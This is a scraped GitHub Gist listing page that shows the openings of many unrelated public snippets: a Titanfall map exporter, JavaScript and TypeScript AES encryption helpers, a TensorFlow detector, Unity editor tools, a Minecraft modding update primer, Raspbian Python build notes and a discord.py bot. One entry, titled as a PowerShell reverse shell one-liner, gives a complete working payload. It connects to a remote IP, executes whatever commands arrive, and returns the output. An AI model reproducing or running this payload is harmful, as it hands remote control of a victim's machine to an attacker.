Skip to content

Instantly share code, notes, and snippets.

View btarg's full-sized avatar

btarg btarg

View GitHub Profile
# McSimps Titanfall Map Exporter Tool
# Website: https://will.io/
# Modded(butchered) to output ply by Warmist
# disclaimer: i don't know python...
import struct
from enum import Enum
import os
import math
@zmwangx
zmwangx / aesctr.js
Created March 16, 2020 13:19
AES-CTR encryption & decryption in JavaScript & Python (use this for obfuscation, think thrice about using this for security)
<body>
<script>
const base64ToUInt8Array = b64 =>
Uint8Array.from(window.atob(b64), c => c.charCodeAt(0));
const textToUInt8Array = s => new TextEncoder().encode(s);
const UInt8ArrayToString = u8 => String.fromCharCode.apply(null, u8);
const UInt8ArrayToBase64 = u8 => window.btoa(UInt8ArrayToString(u8));
(async () => {
const key = await window.crypto.subtle.importKey(
@thomaskonrad
thomaskonrad / AuthenticatedSecretKeyCryptography.ts
Created February 8, 2020 15:22
Authenticated Secret Key Cryptography (AEAD) in TypeScript
export default class AuthenticatedSecretKeyCryptography {
public static readonly KEY_LENGTH_IN_BYTES = 16;
public static readonly IV_LENGTH_IN_BYTES = 16;
public static readonly TAG_LENGTH_IN_BYTES = 16;
private static readonly ALGORITHM = 'AES-GCM';
private readonly secretKey: CryptoKey;
private readonly tagLengthInBytes: number;
public constructor(secretKey: CryptoKey, tagLengthInBytes = AuthenticatedSecretKeyCryptography.TAG_LENGTH_IN_BYTES) {
# Code adapted from Tensorflow Object Detection Framework
# https://github.com/tensorflow/models/blob/master/research/object_detection/object_detection_tutorial.ipynb
# Tensorflow Object Detection Detector
import numpy as np
import tensorflow as tf
import cv2
import time
anonymous
anonymous / PlayerPrefsTools.cs
Created March 13, 2018 08:08
Get all player prefs keys (windows only)
using System.Collections.Generic;
public class PlayerPrefsTools
{
public static void GetAllPlayerPrefKeys(ref List<string> keys)
{
if (keys != null)
{
keys.Clear();
}
@egre55
egre55 / powershell_reverse_shell.ps1
Last active July 19, 2024 06:07
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@williewillus
williewillus / primer.md
Last active April 22, 2024 15:29
1.13/1.14 update primer

This primer is licensed under CC0, do whatever you want.

BUT do note that this can be updated, so leave a link here so readers can see the updated information themselves.

1.13 and 1.14 are lumped together in this doc, you're on your own if you just want to go to 1.13 and not 1.14, for some reason.

1.15 stuff: https://gist.github.com/williewillus/30d7e3f775fe93c503bddf054ef3f93e

Things in Advance

  • ResourceLocation now throw on non-snake-case names instead of silently lowercasing for you, so you probably should go and change all those string constants now. More precisely, domains must only contain alphanumeric lowercase, underscore (_), dash (-), or dot (.). Paths have the same restrictions, but can also contain forward slashes (/).
@LotteMakesStuff
LotteMakesStuff / EditorDispatcher.cs
Last active February 13, 2024 13:22
Allows threaded Unity Editor code to dispatch an action or coroutine to the main thread.
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using UnityEditor;
using UnityEngine;
public static class EditorDispatcher
{
private static readonly Queue<Action> dispatchQueue = new Queue<Action>();
@dschep
dschep / raspbian-python3.6.rst
Last active October 24, 2023 14:57 — forked from BMeu/raspbian-python3.5.rst
Installing Python 3.6 on Raspbian

Installing Python 3.6 on Raspbian

As of January 2018, Raspbian does not yet include the latest Python release, Python 3.6. This means we will have to build it ourselves, and here is how to do it. There is also an ansible role attached that automates it all for you.

  1. Install the required build-tools (some might already be installed on your system).
@leovoel
leovoel / basic_bot.py
Last active January 25, 2024 04:19
discord.py's basic_bot.py converted to use "cogs".
from discord.ext import commands
description = '''An example bot to showcase the discord.ext.commands extension
module.
There are a number of utility commands being showcased here.'''
# this specifies what extensions to load when the bot starts up
startup_extensions = ["members", "rng"]